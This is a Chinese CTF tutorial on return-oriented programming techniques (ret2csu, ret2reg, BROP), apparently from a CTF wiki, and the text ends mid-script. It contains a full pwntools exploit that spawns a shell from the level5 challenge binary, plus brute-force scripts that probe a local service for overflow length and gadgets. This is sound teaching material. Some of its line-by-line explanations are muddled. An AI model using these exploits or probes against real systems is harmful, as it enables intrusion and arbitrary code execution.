ret2csu
什么是ret2csu?
这个其实就是在程序中一般都会有一段万能的控制参数的gadgets,里面可以控制rbx,rbp,r12,r13,r14,r15以及rdx,rsi,edi的值,并且还可以call我们指定的地址。然后劫持程序执行流的时候,劫持到这个__libc_csu_init函数去执行(这个函数是用来初始化libc的,因此只要是动态链接的程序就都会有这个函数),从而达到控制参数的目的。
原理
在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp
这里我们可以利用以下几点
这个循环会一直执行,直到 rbx
的值等于 rbp
,这意味着已经遍历完初始化数组中的所有函数。每次循环调用一个函数,并将 r13
, r14
, r15
作为参数传递给它。
如果攻击者能够控制 rbx
和 r12
的值,他们可以操纵这个循环,使其调用任意函数而不是初始化数组中的函数。这是通过栈溢出漏洞实现的,攻击者可以在栈上构造特定的值来覆盖这些寄存器的值。
- 从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。
- 从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。
-
在
__libc_csu_init
函数中,提到的循环是指从loc_400600
开始的代码块,它的作用是遍历初始化数组(initialization array),并调用其中的每个函数。这个循环是 C++ 静态初始化的一个关键部分,用于在程序启动时执行全局对象的构造函数。让我们更详细地看看这个循环是如何工作的:
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600 mov rdx, r13
:将r13
的值移动到rdx
寄存器。rdx
通常用于传递第三个参数。mov rsi, r14
:将r14
的值移动到rsi
寄存器。rsi
通常用于传递第二个参数。mov edi, r15d
:将r15d
(r15
的低 32 位)移动到edi
寄存器。edi
通常用于传递第一个参数。call qword ptr [r12+rbx*8]
:根据r12
基址和rbx
索引(每个索引项为 8 字节,因为指针大小是 8 字节)调用一个函数。这是循环的核心,它调用初始化数组中的函数。add rbx, 1
:将rbx
的值增加 1,准备索引下一个函数。cmp rbx, rbp
:比较rbx
和rbp
的值,检查是否已经遍历完数组。jnz short loc_400600
:如果rbx
不等于rbp
,则跳转到loc_400600
继续循环。- 从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。
示例
这里我们以蒸米的一步一步学 ROP 之 linux_x64 篇中 level5 为例进行介绍。首先检查程序的安全保护
➜ ret2__libc_csu_init git:(iromise) ✗ checksec level5
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序为 64 位,开启了堆栈不可执行保护。
其次,寻找程序的漏洞,可以看出程序中有一个简单的栈溢出
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-80h]@1
return read(0, &buf, 0x200uLL);
}
简单浏览下程序,发现程序中既没有 system 函数地址,也没有 /bin/sh 字符串,所以两者都需要我们自己去构造了。
注:这里我尝试在我本机使用 system 函数来获取 shell 失败了,应该是环境变量的问题,所以这里使用的是 execve 来获取 shell。
基本利用思路如下
- 利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数
- 根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
- 再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 '/bin/sh’ 地址,并使得程序重新执行 main 函数。
- 再次利用栈溢出执行 libc_csu_gadgets 执行 execve('/bin/sh') 获取 shell。
exp 如下
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
level5 = ELF('./level5')
sh = process('./level5')
write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)
sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)
##当 csu 函数执行时,它发送一个payload,该payload设置了寄存器值并调用 write 函数。由于write 函数的地址存储在 write_got 中,这次调用将导致 write 的实际地址被写入到标准输出。攻击者可以通过接收这个输出来获取 write 函数的地址。
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)
## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')
sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()
-
from pwn import *
:导入pwntools库,这是一个用于CTF和二进制漏洞利用的工具库。 -
from LibcSearcher import LibcSearcher
:从自定义模块导入LibcSearcher类,用于确定libc库的基址和函数地址。 -
#context.log_level = 'debug'
:注释掉的代码,如果取消注释,将设置pwntools的日志级别为debug,输出更多调试信息。 -
level5 = ELF('./level5')
:加载目标程序level5的二进制文件,并使用pwntools的ELF类进行分析。 -
sh = process('./level5')
:启动目标程序level5的实例,并使用pwntools的process函数进行交互。 -
write_got = level5.got['write']
和read_got = level5.got['read']
:获取write和read函数的GOT表项地址。 -
main_addr = level5.symbols['main']
:获取main函数的地址。 -
bss_base = level5.bss()
:获取BSS段的基址。 -
csu_front_addr
和csu_end_addr
:设置libc库中__libc_csu_init
函数的起始和结束地址。 -
fakeebp = 'b' * 8
:创建一个8字节的伪造EBP值,用于覆盖栈上的EBP寄存器。 -
def csu(...)
:定义一个名为csu的函数,用于构建和发送栈溢出payload。 -
payload = 'a' * 0x80 + fakeebp
:创建一个由0x80个 'a' 字符组成的数组,后面跟着伪造的EBP值,用于覆盖栈帧。。 -
payload += p64(...)
:向payload添加控制寄存器的值和__libc_csu_init
的结束地址这里实际上是在构建一个栈溢出payload,其中包含了多个64位的值。这些值被添加到payload中,以覆盖栈上的寄存器和返回地址。然而,
p64(csu_end_addr)
并不对应csu
函数的任何参数,它是payload的一个独立部分,具有特定的目的: -
(栈溢出利用:
p64(csu_end_addr)
是payload的第一个部分,它设置了一个返回地址。当程序执行到当前栈帧的末尾时,它会尝试返回到这个地址。 -
ROP链的开始:通过设置
csu_end_addr
作为返回地址,攻击者可以利用程序的控制流跳转到__libc_csu_init
函数的结尾,然后继续执行到csu_front_addr
,这是__libc_csu_init
函数的开始地址。这样,程序就形成了一个循环,可以在这个循环中执行ROP(Return-Oriented Programming)攻击。 -
参数传递:紧随
csu_end_addr
之后的p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
部分,实际上是在为csu
函数调用准备参数。这些参数将被放置在栈上,当__libc_csu_init
函数执行时,它们将被pop到相应的寄存器中。 -
函数调用:
csu
函数的参数rbx
,rbp
,r12
,r13
,r14
,r15
被用于设置寄存器值,这些寄存器值将在csu_front_addr
处的代码执行时使用。例如,r12
可能被设置为要调用的函数的地址,rbp
可能用于控制程序流程等。 -
最终的返回地址:在payload的最后,
p64(last)
设置了最终的返回地址,这通常是攻击者想要执行的代码的地址,比如shellcode的地址或libc中的某个函数地址。) -
payload += p64(csu_front_addr)
:添加__libc_csu_init
的起始地址。 -
payload += 'a' * 0x38
:添加填充字符以对齐到正确的栈位置。 -
payload += p64(last)
:添加最终的返回地址。 -
sh.send(payload)
和sleep(1)
:发送payload到目标程序并等待1秒。 -
sh.recvuntil(...)
:接收数据直到特定字符串出现。 -
csu(0, 1, write_got, 8, write_got, 1, main_addr):调用
csu
函数,设置参数以调用write
函数。这里r12
被设置为write_got
的地址,r13
设置为8,表示写入8个字节。r14
和r15
被设置为write_got
的地址,这样write
函数实际上会将write
函数的地址写入到它的GOT表项中 rbx=0
:第一个参数设置为0,这通常用于控制循环或条件语句。rbp=1
:第二个参数设置为1,根据之前的注释,这可能用于控制程序流程,避免执行不必要的跳转。r12=write_got
:第三个参数是write
函数的GOT(全局偏移表)地址。在Linux程序中,GOT是一个存储函数地址的表,当程序调用一个函数时,它会通过GOT来解析函数的实际地址。r13=8
:第四个参数设置为8,这通常是传递给函数的第三个参数,这里可能表示要写入的字节数。r14=write_got
:第五个参数也是write_got
,设置为第二个参数寄存器rsi
,通常用于存储函数的第二个参数。r15=1
:第六个参数设置为1,根据之前的注释,这里r15d
(即edi
的低32位)将被用作write
函数的第一个参数fd
(文件描述符),这里使用1代表标准输出(stdout)。last=main_addr
:最后一个参数是main
函数的地址,这将作为payload中最终的返回地址,使得在payload执行完毕后程序跳转回main
函数的开始处。-
write_addr = u64(sh.recv(8))
:接收8字节数据并转换为无符号64位整数,获取write函数的地址。 -
libc = LibcSearcher(...)
和libc_base = ...
:使用LibcSearcher确定libc的基址。 -
execve_addr = ...
:计算execve函数的地址并打印。 -
csu(0, 1, read_got, 16, bss_base, 0, main_addr)。
-
rbx=0:第一个参数设置为0,这通常用于控制循环计数或某些条件判断。
-
rbp=1:第二个参数设置为1,根据之前的模式,这可能用于控制程序流程,例如,如果某个跳转指令依赖于
rbp
的值,将其设置为1可以防止跳转,确保执行流程按照攻击者的预期进行。 -
r12=read_got:第三个参数是
read
函数的GOT地址。在Linux程序中,GOT是一个存储函数地址的表。这里,攻击者希望read
函数被调用时使用这个GOT条目作为函数地址。 -
r13=16:第四个参数设置为16,这表示
read
函数的第三个参数,即从标准输入读取的字节数。 -
r14=bss_base:第五个参数是BSS段的基址。BSS段是程序中未初始化的全局变量和静态变量的存储区域。在这里,攻击者希望
read
函数将数据读入到BSS段的开始位置。 -
r15=0:第六个参数设置为0,这可能用于控制
read
函数的第一个参数(文件描述符),通常0代表标准输入。 -
last=main_addr:最后一个参数是
main
函数的地址,这将作为payload中最终的返回地址。攻击者希望在read
函数执行完毕后,程序跳转回main
函数的开始处重新执行,这样可以绕过程序中可能存在的一些安全检查。 -
sh.send(...)
:发送execve函数地址和'/bin/sh'字符串。 -
csu(...)
:最后一次调用csu,设置寄存器值来调用execve函数。 -
sh.interactive()
:进入交互模式,允许用户与目标程序的shell交互。 -
#gdb.attach(sh)
:注释掉的代码,用于附加GDB调试器到目标程序的进程。
思考
改进
在上面的时候,我们直接利用了这个通用 gadgets,其输入的字节长度为 128。但是,并不是所有的程序漏洞都可以让我们输入这么长的字节。那么当允许我们输入的字节数较少的时候,我们该怎么有什么办法呢?下面给出了几个方法
改进 1 - 提前控制 RBX 与 RBP
可以看到在我们之前的利用中,我们利用这两个寄存器的值的主要是为了满足 cmp 的条件,并进行跳转。如果我们可以提前控制这两个数值,那么我们就可以减少 16 字节,即我们所需的字节数只需要 112。
改进 2 - 多次利用
其实,改进 1 也算是一种多次利用。我们可以看到我们的 gadgets 是分为两部分的,那么我们其实可以进行两次调用来达到的目的,以便于减少一次 gadgets 所需要的字节数。但这里的多次利用需要更加严格的条件
- 漏洞可以被多次触发
- 在两次触发之间,程序尚未修改 r12-r15 寄存器,这是因为要两次调用。
当然,有时候我们也会遇到一次性可以读入大量的字节,但是不允许漏洞再次利用的情况,这时候就需要我们一次性将所有的字节布置好,之后慢慢利用。
gadget
其实,除了上述这个 gadgets,gcc 默认还会编译进去一些其它的函数
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
我们也可以尝试利用其中的一些代码来进行执行。此外,由于 PC 本身只是将程序的执行地址处的数据传递给 CPU,而 CPU 则只是对传递来的数据进行解码,只要解码成功,就会进行执行。所以我们可以将源程序中一些地址进行偏移从而来获取我们所想要的指令,只要可以确保程序不崩溃。
需要一说的是,在上面的 libc_csu_init 中我们主要利用了以下寄存器
- 利用尾部代码控制了 rbx,rbp,r12,r13,r14,r15。
- 利用中间部分的代码控制了 rdx,rsi,edi。
而其实 libc_csu_init 的尾部通过偏移是可以控制其他寄存器的。其中,0x000000000040061A 是正常的起始地址,可以看到我们在 0x000000000040061f 处可以控制 rbp 寄存器,在 0x0000000000400621 处可以控制 rsi 寄存器。而如果想要深入地了解这一部分的内容,就要对汇编指令中的每个字段进行更加透彻地理解。如下。
gef➤ x/5i 0x000000000040061A
0x40061a <__libc_csu_init+90>: pop rbx
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
gef➤ x/5i 0x000000000040061b
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
gef➤ x/5i 0x000000000040061A+3
0x40061d <__libc_csu_init+93>: pop rsp
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
gef➤ x/5i 0x000000000040061e
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061f
0x40061f <__libc_csu_init+95>: pop rbp
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x0000000000400620
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
gef➤ x/5i 0x0000000000400621
0x400621 <__libc_csu_init+97>: pop rsi
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061A+9
0x400623 <__libc_csu_init+99>: pop rdi
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
0x400630 <__libc_csu_fini>: repz ret
题目 ¶
- 2016 XDCTF pwn100
- 2016 华山杯 SU_PWN
参考阅读 ¶
- 一步一步学ROP之linux_x64篇 | WooYun知识库
- 一步一步学ROP之gadgets和2free篇 | WooYun知识库
ret2reg¶
原理 ¶
- 查看溢出函返回时哪个寄存值指向溢出缓冲区空间
- 然后反编译二进制,查找 call reg 或者 jmp reg 指令,将 EIP 设置为该指令地址
- reg 所指向的空间上注入 Shellcode (需要确保该空间是可以执行的,但通常都是栈上的)
JOP¶
Jump-oriented programming
COP¶
Call-oriented programming
BROP¶
基本介绍 ¶
BROP(Blind ROP) 于 2014 年由 Standford 的 Andrea Bittau 提出,其相关研究成果发表在 Oakland 2014,其论文题目是 Hacking Blind,下面是作者对应的 paper 和 slides, 以及作者相应的介绍
- paper
- slide
BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流。
攻击条件 ¶
- 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
- 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。
攻击原理 ¶
目前,大部分应用都会开启 ASLR、NX、Canary 保护。这里我们分别讲解在 BROP 中如何绕过这些保护,以及如何进行攻击。
基本思路 ¶
在 BROP 中,基本的遵循的思路如下
- 判断栈溢出长度
- 暴力枚举
- Stack Reading
- 获取栈上的数据来泄露 canaries,以及 ebp 和返回地址。
- Blind ROP
- 找到足够多的 gadgets 来控制输出函数的参数,并且对其进行调用,比如说常见的 write 函数以及 puts 函数。
- Build the exploit
- 利用输出函数来 dump 出程序以便于来找到更多的 gadgets,从而可以写出最后的 exploit。
栈溢出长度 ¶
直接从 1 暴力枚举即可,直到发现程序崩溃。
Stack Reading¶
如下所示,这是目前经典的栈布局
buffer|canary|saved fame pointer|saved returned address
要向得到 canary 以及之后的变量,我们需要解决第一个问题,如何得到 overflow 的长度,这个可以通过不断尝试来获取。
其次,关于 canary 以及后面的变量,所采用的的方法一致,这里我们以 canary 为例。
canary 本身可以通过爆破来获取,但是如果只是愚蠢地枚举所有的数值的话,显然是低效的。
需要注意的是,攻击条件 2 表明了程序本身并不会因为 crash 有变化,所以每次的 canary 等值都是一样的。所以我们可以按照字节进行爆破。正如论文中所展示的,每个字节最多有 256 种可能,所以在 32 位的情况下,我们最多需要爆破 1024 次,64 位最多爆破 2048 次。
Blind ROP¶
基本思路 ¶
最朴素的执行 write 函数的方法就是构造系统调用。
pop rdi; ret # socket
pop rsi; ret # buffer
pop rdx; ret # length
pop rax; ret # write syscall number
syscall
但通常来说,这样的方法都是比较困难的,因为想要找到一个 syscall 的地址基本不可能。。。我们可以通过转换为找 write 的方式来获取。
BROP gadgets¶
首先,在 libc_csu_init 的结尾一长串的 gadgets,我们可以通过偏移来获取 write 函数调用的前两个参数。正如文中所展示的
find a call write¶
我们可以通过 plt 表来获取 write 的地址。
control rdx¶
需要注意的是,rdx 只是我们用来输出程序字节长度的变量,只要不为 0 即可。一般来说程序中的 rdx 经常性会不是零。但是为了更好地控制程序输出,我们仍然尽量可以控制这个值。但是,在程序
pop rdx; ret
这样的指令几乎没有。那么,我们该如何控制 rdx 的数值呢?这里需要说明执行 strcmp 的时候,rdx 会被设置为将要被比较的字符串的长度,所以我们可以找到 strcmp 函数,从而来控制 rdx。
那么接下来的问题,我们就可以分为两项
- 寻找 gadgets
- 寻找 PLT 表
- write 入口
- strcmp 入口
寻找 GADGETS¶
首先,我们来想办法寻找 gadgets。此时,由于尚未知道程序具体长什么样,所以我们只能通过简单的控制程序的返回地址为自己设置的值,从而而来猜测相应的 gadgets。而当我们控制程序的返回地址时,一般有以下几种情况
- 程序直接崩溃
- 程序运行一段时间后崩溃
- 程序一直运行而并不崩溃
为了寻找合理的 gadgets,我们可以分为以下两步
寻找 stop gadgets¶
所谓stop gadget
一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态。
其实 stop gadget 也并不一定得是上面的样子,其根本的目的在于告诉攻击者,所测试的返回地址是一个 gadgets。
之所以要寻找 stop gadgets,是因为当我们猜到某个 gadgtes 后,如果我们仅仅是将其布置在栈上,由于执行完这个 gadget 之后,程序还会跳到栈上的下一个地址。如果该地址是非法地址,那么程序就会 crash。这样的话,在攻击者看来程序只是单纯的 crash 了。因此,攻击者就会认为在这个过程中并没有执行到任何的useful gadget
,从而放弃它。例子如下图
但是,如果我们布置了stop gadget
,那么对于我们所要尝试的每一个地址,如果它是一个 gadget 的话,那么程序不会崩溃。接下来,就是去想办法识别这些 gadget。
识别 gadgets¶
那么,我们该如何识别这些 gadgets 呢?我们可以通过栈布局以及程序的行为来进行识别。为了更加容易地进行介绍,这里定义栈上的三种地址
- Probe
- 探针,也就是我们想要探测的代码地址。一般来说,都是 64 位程序,可以直接从 0x400000 尝试,如果不成功,有可能程序开启了 PIE 保护,再不济,就可能是程序是 32 位了。。这里我还没有特别想明白,怎么可以快速确定远程的位数。
- Stop
- 不会使得程序崩溃的 stop gadget 的地址。
- Trap
- 可以导致程序崩溃的地址
我们可以通过在栈上摆放不同顺序的 Stop 与 Trap 从而来识别出正在执行的指令。因为执行 Stop 意味着程序不会崩溃,执行 Trap 意味着程序会立即崩溃。这里给出几个例子
- probe,stop,traps(traps,traps,...)
- 我们通过程序崩溃与否 (如果程序在 probe 处直接崩溃怎么判断) 可以找到不会对栈进行 pop 操作的 gadget,如
- ret
- xor eax,eax; ret
- 我们通过程序崩溃与否 (如果程序在 probe 处直接崩溃怎么判断) 可以找到不会对栈进行 pop 操作的 gadget,如
- probe,trap,stop,traps
- 我们可以通过这样的布局找到只是弹出一个栈变量的 gadget。如
- pop rax; ret
- pop rdi; ret
- 我们可以通过这样的布局找到只是弹出一个栈变量的 gadget。如
- probe, trap, trap, trap, trap, trap, trap, stop, traps
- 我们可以通过这样的布局来找到弹出 6 个栈变量的 gadget,也就是与 brop gadget 相似的 gadget。这里感觉原文是有问题的,比如说如果遇到了只是 pop 一个栈变量的地址,其实也是不会崩溃的,,这里一般来说会遇到两处比较有意思的地方
- plt 处不会崩,,
- _start 处不会崩,相当于程序重新执行。
- 我们可以通过这样的布局来找到弹出 6 个栈变量的 gadget,也就是与 brop gadget 相似的 gadget。这里感觉原文是有问题的,比如说如果遇到了只是 pop 一个栈变量的地址,其实也是不会崩溃的,,这里一般来说会遇到两处比较有意思的地方
之所以要在每个布局的后面都放上 trap,是为了能够识别出,当我们的 probe 处对应的地址执行的指令跳过了 stop,程序立马崩溃的行为。
但是,即使是这样,我们仍然难以识别出正在执行的 gadget 到底是在对哪个寄存器进行操作。
但是,需要注意的是向 BROP 这样的一下子弹出 6 个寄存器的 gadgets,程序中并不经常出现。所以,如果我们发现了这样的 gadgets,那么,有很大的可能性,这个 gadgets 就是 brop gadgets。此外,这个 gadgets 通过错位还可以生成 pop rsp 等这样的 gadgets,可以使得程序崩溃也可以作为识别这个 gadgets 的标志。
此外,根据我们之前学的 ret2libc_csu_init 可以知道该地址减去 0x1a 就会得到其上一个 gadgets。可以供我们调用其它函数。
需要注意的是 probe 可能是一个 stop gadget,我们得去检查一下,怎么检查呢?我们只需要让后面所有的内容变为 trap 地址即可。因为如果是 stop gadget 的话,程序会正常执行,否则就会崩溃。看起来似乎很有意思.
寻找 PLT¶
如下图所示,程序的 plt 表具有比较规整的结构,每一个 plt 表项都是 16 字节。而且,在每一个表项的 6 字节偏移处,是该表项对应的函数的解析路径,即程序最初执行该函数的时候,会执行该路径对函数的 got 地址进行解析。
此外,对于大多数 plt 调用来说,一般都不容易崩溃,即使是使用了比较奇怪的参数。所以说,如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表。除此之外,我们还可以通过前后偏移 6 字节,来判断我们是处于 plt 表项中间还是说处于开头。
控制 RDX¶
当我们找到 plt 表之后,下面,我们就该想办法来控制 rdx 的数值了,那么该如何确认 strcmp 的位置呢?需要提前说的是,并不是所有的程序都会调用 strcmp 函数,所以在没有调用 strcmp 函数的情况下,我们就得利用其它方式来控制 rdx 的值了。这里给出程序中使用 strcmp 函数的情况。
之前,我们已经找到了 brop 的 gadgets,所以我们可以控制函数的前两个参数了。与此同时,我们定义以下两种地址
- readable,可读的地址。
- bad, 非法地址,不可访问,比如说 0x0。
那么我们如果控制传递的参数为这两种地址的组合,会出现以下四种情况
- strcmp(bad,bad)
- strcmp(bad,readable)
- strcmp(readable,bad)
- strcmp(readable,readable)
只有最后一种格式,程序才会正常执行。
注:在没有 PIE 保护的时候,64 位程序的 ELF 文件的 0x400000 处有 7 个非零字节。
那么我们该如何具体地去做呢?有一种比较直接的方法就是从头到尾依次扫描每个 plt 表项,但是这个却比较麻烦。我们可以选择如下的一种方法
- 利用 plt 表项的慢路径
- 并且利用下一个表项的慢路径的地址来覆盖返回地址
这样,我们就不用来回控制相应的变量了。
当然,我们也可能碰巧找到 strncmp 或者 strcasecmp 函数,它们具有和 strcmp 一样的效果。
寻找输出函数 ¶
寻找输出函数既可以寻找 write,也可以寻找 puts。一般现先找 puts 函数。不过这里为了介绍方便,先介绍如何寻找 write。
寻找 write@plt¶
当我们可以控制 write 函数的三个参数的时候,我们就可以再次遍历所有的 plt 表,根据 write 函数将会输出内容来找到对应的函数。需要注意的是,这里有个比较麻烦的地方在于我们需要找到文件描述符的值。一般情况下,我们有两种方法来找到这个值
- 使用 rop chain,同时使得每个 rop 对应的文件描述符不一样
- 同时打开多个连接,并且我们使用相对较高的数值来试一试。
需要注意的是
- linux 默认情况下,一个进程最多只能打开 1024 个文件描述符。
- posix 标准每次申请的文件描述符数值总是当前最小可用数值。
当然,我们也可以选择寻找 puts 函数。
寻找 puts@plt¶
寻找 puts 函数 (这里我们寻找的是 plt),我们自然需要控制 rdi 参数,在上面,我们已经找到了 brop gadget。那么,我们根据 brop gadget 偏移 9 可以得到相应的 gadgets(由 ret2libc_csu_init 中后续可得)。同时在程序还没有开启 PIE 保护的情况下,0x400000 处为 ELF 文件的头部,其内容为 \ x7fELF。所以我们可以根据这个来进行判断。一般来说,其 payload 如下
payload = 'A'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
攻击总结 ¶
此时,攻击者已经可以控制输出函数了,那么攻击者就可以输出. text 段更多的内容以便于来找到更多合适 gadgets。同时,攻击者还可以找到一些其它函数,如 dup2 或者 execve 函数。一般来说,攻击者此时会去做下事情
- 将 socket 输出重定向到输入输出
- 寻找 “/bin/sh” 的地址。一般来说,最好是找到一块可写的内存,利用 write 函数将这个字符串写到相应的地址。
- 执行 execve 获取 shell,获取 execve 不一定在 plt 表中,此时攻击者就需要想办法执行系统调用了。
例子 ¶
这里我们以 HCTF2016 的出题人失踪了 为例。基本思路如下
确定栈溢出长度 ¶
def getbufferflow_length():
i = 1
while 1:
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.send(i * 'a')
output = sh.recv()
sh.close()
if not output.startswith('No password'):
return i - 1
else:
i += 1
except EOFError:
sh.close()
return i - 1
根据上面,我们可以确定,栈溢出的长度为 72。同时,根据回显信息可以发现程序并没有开启 canary 保护,否则,就会有相应的报错内容。所以我们不需要执行 stack reading。
寻找 stop gadgets¶
寻找过程如下
def get_stop_addr(length):
addr = 0x400000
while 1:
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr)
sh.sendline(payload)
sh.recv()
sh.close()
print 'one success addr: 0x%x' % (addr)
return addr
except Exception:
addr += 1
sh.close()
这里我们直接尝试 64 位程序没有开启 PIE 的情况,因为一般是这个样子的,,,如果开启了,,那就按照开启了的方法做,,结果发现了不少,,我选择了一个貌似返回到源程序中的地址
one success stop gadget addr: 0x4006b6
识别 brop gadgets¶
下面,我们根据上面介绍的原理来得到对应的 brop gadgets 地址。构造如下,get_brop_gadget 是为了得到可能的 brop gadget,后面的 check_brop_gadget 是为了检查。
def get_brop_gadget(length, stop_gadget, addr):
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(
stop_gadget) + p64(0) * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
print content
# stop gadget returns memory
if not content.startswith('WelCome'):
return False
return True
except Exception:
